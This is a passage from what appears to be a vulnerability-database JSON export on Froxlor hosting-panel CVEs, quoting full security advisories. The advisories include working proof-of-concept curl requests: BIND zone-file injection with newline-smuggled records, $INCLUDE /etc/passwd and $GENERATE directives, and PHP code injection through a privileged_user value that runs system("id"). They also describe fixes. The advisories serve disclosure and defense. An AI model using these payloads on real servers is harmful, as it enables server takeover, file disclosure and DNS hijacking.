"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41233","GHSA-jvx4-xv3m-hrj4"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-anxs-8787-jbau"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/50551?format=json","vulnerability_id":"VCID-ara1-6f8y-27h7","summary":"Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection\nA typo in Froxlor's input validation code (`==` instead of `=`) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the `panel.adminmail` setting. This value is later concatenated into a shell command executed as **root** by a cron job, where the pipe character `|` is explicitly `whitelist`ed. The result is **full root-level Remote Code Execution**.\n\n---","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26279","reference_id":"","reference_type":"","scores":[{"value":"0.009","scoring_system":"epss","scoring_elements":"0.76074","published_at":"2026-06-09T12:55:00Z"},{"value":"0.009","scoring_system":"epss","scoring_elements":"0.7605","published_at":"2026-06-08T12:55:00Z"},{"value":"0.009","scoring_system":"epss","scoring_elements":"0.76064","published_at":"2026-06-07T12:55:00Z"},{"value":"0.009","scoring_system":"epss","scoring_elements":"0.76071","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26279"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/22249677107f8f39f8d4a238605641e87dab4343","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-04T16:12:37Z/"}],"url":"https://github.com/froxlor/froxlor/commit/22249677107f8f39f8d4a238605641e87dab4343"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.4","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-04T16:12:37Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26279","reference_id":"CVE-2026-26279","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26279"},{"reference_url":"https://github.com/advisories/GHSA-33mp-8p67-xj7c","reference_id":"GHSA-33mp-8p67-xj7c","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-33mp-8p67-xj7c"},{"reference_url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-33mp-8p67-xj7c","reference_id":"GHSA-33mp-8p67-xj7c","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-04T16:12:37Z/"}],"url":"https://github.com/froxlor/Froxlor/security/advisories/GHSA-33mp-8p67-xj7c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/74403?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-395t-sx9f-v3fv"},{"vulnerability":"VCID-7y1g-hs5x-bqcv"},{"vulnerability":"VCID-anxs-8787-jbau"},{"vulnerability":"VCID-dwqk-ufbx-wuad"},{"vulnerability":"VCID-p1tf-9r4u-4qa5"},{"vulnerability":"VCID-sxbc-bs78-vkef"},{"vulnerability":"VCID-xedk-83k5-7uhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.4"}],"aliases":["CVE-2026-26279","GHSA-33mp-8p67-xj7c"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ara1-6f8y-27h7"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89485?format=json","vulnerability_id":"VCID-dwqk-ufbx-wuad","summary":"Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()\n## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file.\n\n## Details\n\n**Missing type whitelist — `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this->getParam('type', true, 'A');\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization — `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output — `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this->record . \"\\t\" . $this->ttl . \"\\t\" . $this->class . \"\\t\" . $this->type . \"\\t\"\n    . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . \"\\t\" : \"\")\n    . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write — `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only — the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions — no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n  -u 'APIKEY:APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n    }\n  }'\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@    18000    IN    NAPTR    100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker's IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST 'https://froxlor.example.com/api.php' \\\n  -u 'APIKEY:APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"DomainZones.add\",\n    \"params\": {\n      \"id\": 1,\n      \"type\": \"NAPTR\",\n      \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com.\"\n    }\n  }'\n```\n\nThis injects a `$GENERATE` directive that creates 255 PTR records.\n\n## Impact\n\nAn authenticated customer with DNS editing enabled can:\n\n1. **Inject arbitrary DNS records** bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.\n2. **Manipulate email authentication** by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.\n3. **Inject BIND server directives** (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.\n4. **Cause DNS service disruption** by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.\n\nWhile this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.\n\n## Recommended Fix\n\n**1. Add a type whitelist in `DomainZones::add()` (primary fix):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — after line 93\n$type = $this->getParam('type', true, 'A');\n\n$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];\nif (!in_array($type, $allowed_types)) {\n    throw new Exception(\"DNS record type '\" . htmlspecialchars($type) . \"' is not supported\", 406);\n}\n```\n\n**2. Strip newline characters from content (defense-in-depth):**\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154\n$content = trim(str_replace([\"\\r\", \"\\n\"], '', $content));\n```\n\n**3. Sanitize in `DnsEntry::__toString()` as a belt-and-suspenders measure:**\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()\n$_content = str_replace([\"\\r\", \"\\n\"], '', $this->content);\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41230","reference_id":"","reference_type":"","scores":[{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18225","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18169","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.1815","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18262","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.18259","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41230"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T13:58:05Z/"}],"url":"https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T13:58:05Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-23T13:58:05Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41230","reference_id":"","reference_type":"","scores":[{"value":"8.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41230"},{"reference_url":"https://github.com/advisories/GHSA-47hf-23pw-3m8c","reference_id":"GHSA-47hf-23pw-3m8c","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-47hf-23pw-3m8c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41230","GHSA-47hf-23pw-3m8c"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-dwqk-ufbx-wuad"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/89386?format=json","vulnerability_id":"VCID-p1tf-9r4u-4qa5","summary":"Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)\n## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key => $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"'%s' => %s,\\n\", $key, $value ? 'true' : 'false'));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"'{$key}' => $value,\\n\");\n        } else {\n            if ($key == 'password') {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x'\\''.system(\\\"id\\\").'\\''\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }'\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n'user' => 'x'.system(\"id\").'',\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\'` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace(['\\\\', \"'\"], ['\\\\\\\\', \"\\\\'\"], $value);\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$escaped}',\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41229","reference_id":"","reference_type":"","scores":[{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.27592","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.27512","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.27506","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.27554","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.27641","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41229"},{"reference_url":"https://github.com/froxlor/froxlor","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/froxlor/froxlor"},{"reference_url":"https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T12:31:11Z/"}],"url":"https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae"},{"reference_url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T12:31:11Z/"}],"url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"},{"reference_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-23T12:31:11Z/"}],"url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41229","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41229"},{"reference_url":"https://github.com/advisories/GHSA-gc9w-cc93-rjv8","reference_id":"GHSA-gc9w-cc93-rjv8","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gc9w-cc93-rjv8"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/109902?format=json","purl":"pkg:composer/froxlor/froxlor@2.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ducn-23aq-cqfw"},{"vulnerability":"VCID-fj23-7ex5-vbgk"},{"vulnerability":"VCID-mvq5-tbjh-qbdc"},{"vulnerability":"VCID-s3vs-var5-3ybw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/froxlor/froxlor@2.3.6"}],"aliases":["CVE-2026-41229","GHSA-gc9w-cc93-rjv8"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-p1tf-9r4u-4qa5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/91390?format=json","vulnerability_id":"VCID-sxbc-bs78-vkef","summary":"Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API\n## Summary\n\nThe `DomainZones.add` API endpoint (accessible to customers with DNS enabled) does not validate the `content` field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. `$INCLUDE`) into the zone file that gets written to disk when the DNS rebuild cron job runs.\n\n## Affected Code\n\n`lib/Froxlor/Api/Commands/DomainZones.php`, lines 213-214, 253-254, 290-291, 292-293:\n\n```php\n} elseif ($type == 'LOC' && !empty($content)) {\n    $content = $content; // no validation\n} ...\n} elseif ($type == 'RP' && !empty($content)) {\n    $content = $content; // no validation\n} ...\n} elseif ($type == 'SSHFP' && !empty($content)) {\n    $content = $content; // no validation\n} elseif ($type == 'TLSA' && !empty($content)) {\n    $content = $content; // no validation\n}\n```\n\nThere is even a TODO comment at line 148 acknowledging this gap:\n```php\n// TODO regex validate content for invalid characters\n```\n\nThe content is then written directly into the BIND zone file via `DnsEntry::__toString()` (line 83 of `lib/Froxlor/Dns/DnsEntry.php`):\n\n```php\nreturn $this->record . \"\\t\" . $this->ttl . \"\\t\" . $this->class . \"\\t\" . $this->type . \"\\t\" ... . $_content . PHP_EOL;\n```\n\nAnd the zone file is written to disk in `lib/Froxlor/Cron/Dns/Bind.php` line 121:\n\n```php\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\n## PoC\n\nAs a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"command\":\"DomainZones.add\",\"params\":{\"domainname\":\"example.com\",\"type\":\"LOC\",\"content\":\"0 0 0 N 0 0 0 E 0\\n$INCLUDE /etc/passwd\"}}' \\\n  https://panel.example.com/api.php\n```\n\nAlternatively via the web UI, intercept the DNS editor form POST and set `dns_content` to `0 0 0 N 0 0 0 E 0\\n$INCLUDE /etc/passwd` and `dns_type` to `LOC`.\n\nAfter the DNS rebuild cron runs, the resulting zone file at `{bindconf_directory}/domains/example.com.zone` will contain:\n\n```\n@\t18000\tIN\tLOC\t0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd\n```\n\nBIND will process the `$INCLUDE` directive and attempt to parse `/etc/passwd` as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as `bind`/`named` user), confirming file existence and potentially leaking parseable lines as DNS records.\n\n## Impact\n\n1. **Information Disclosure**: The `$INCLUDE` directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the `DomainZones.get` API call or the DNS editor in the web UI.\n\n2. **DNS Service Disruption**: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting `$GENERATE` directives could create massive record sets for amplification attacks.\n\n3. **Zone Data Manipulation**: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not 